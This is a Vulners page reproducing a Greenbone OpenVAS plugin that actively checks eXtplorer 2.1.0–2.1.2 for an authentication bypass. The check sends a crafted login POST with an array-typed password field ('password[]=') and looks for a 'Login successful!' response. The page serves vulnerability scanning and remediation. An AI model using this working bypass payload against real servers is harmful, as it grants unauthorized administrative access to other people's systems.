Lucene search
+L

eXtplorer 'ext_find_user()' Function Authentication Bypass Vulnerability - Active Check

🗓️ 10 Jan 2013 00:00:00Reported by Copyright (C) 2013 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 28 Views

eXtplorer 'ext_find_user()' Function Authentication Bypass Vulnerability - Active Check. Remote attackers can exploit this issue to bypass the authentication mechanism and gain unauthorized access. eXtplorer versions 2.1.0 through 2.1.2 are known to be vulnerable. Updates are available

Refs
Code
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:extplorer:extplorer";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103639");
  script_version("2023-12-22T16:09:03+0000");
  script_tag(name:"last_modification", value:"2023-12-22 16:09:03 +0000 (Fri, 22 Dec 2023)");
  script_tag(name:"creation_date", value:"2013-01-10 12:43:09 +0100 (Thu, 10 Jan 2013)");
  script_tag(name:"cvss_base", value:"9.7");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:P");
  script_name("eXtplorer 'ext_find_user()' Function Authentication Bypass Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("gb_eXtplorer_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("eXtplorer/installed");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210123112322/https://www.securityfocus.com/bid/57058/");

  script_tag(name:"summary", value:"eXtplorer is prone to an authentication-bypass vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"impact", value:"Remote attackers can exploit this issue to bypass the
  authentication mechanism and gain unauthorized access.");

  script_tag(name:"affected", value:"eXtplorer versions 2.1.0 through 2.1.2 are known to be
  vulnerable. Other versions might be vulnerable as well.");

  script_tag(name:"solution", value:"Updates are available. Please see the references for more
  information.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/index.php";
req = http_get(item:url, port:port);
result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

if(!egrep(pattern:"<title>.*eXtplorer</title>", string:result))
  exit(0);

cookie = eregmatch(pattern:"[Ss]et-[Cc]ookie\s*:\s*eXtplorer=([^; ]+);", string:result);
if(isnull(cookie[1]))
  exit(0);

co = cookie[1];

ex = 'option=com_extplorer&action=login&type=extplorer&username=admin&password[]=';
len = strlen(ex);

host = http_host_name(port:port);

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "X-Requested-With: XMLHttpRequest\r\n",
             "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n",
             "Content-Length: ", len, "\r\n",
             "Cookie: eXtplorer=", co, "\r\n",
             "Pragma: no-cache\r\n",
             "Cache-Control: no-cache\r\n",
             "\r\n",
             ex);
result = http_send_recv(port:port, data:req, bodyonly:FALSE);

if("'Login successful!" >< result) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Dec 2023 00:00Current
7.3High risk
Vulners AI Score7.3
28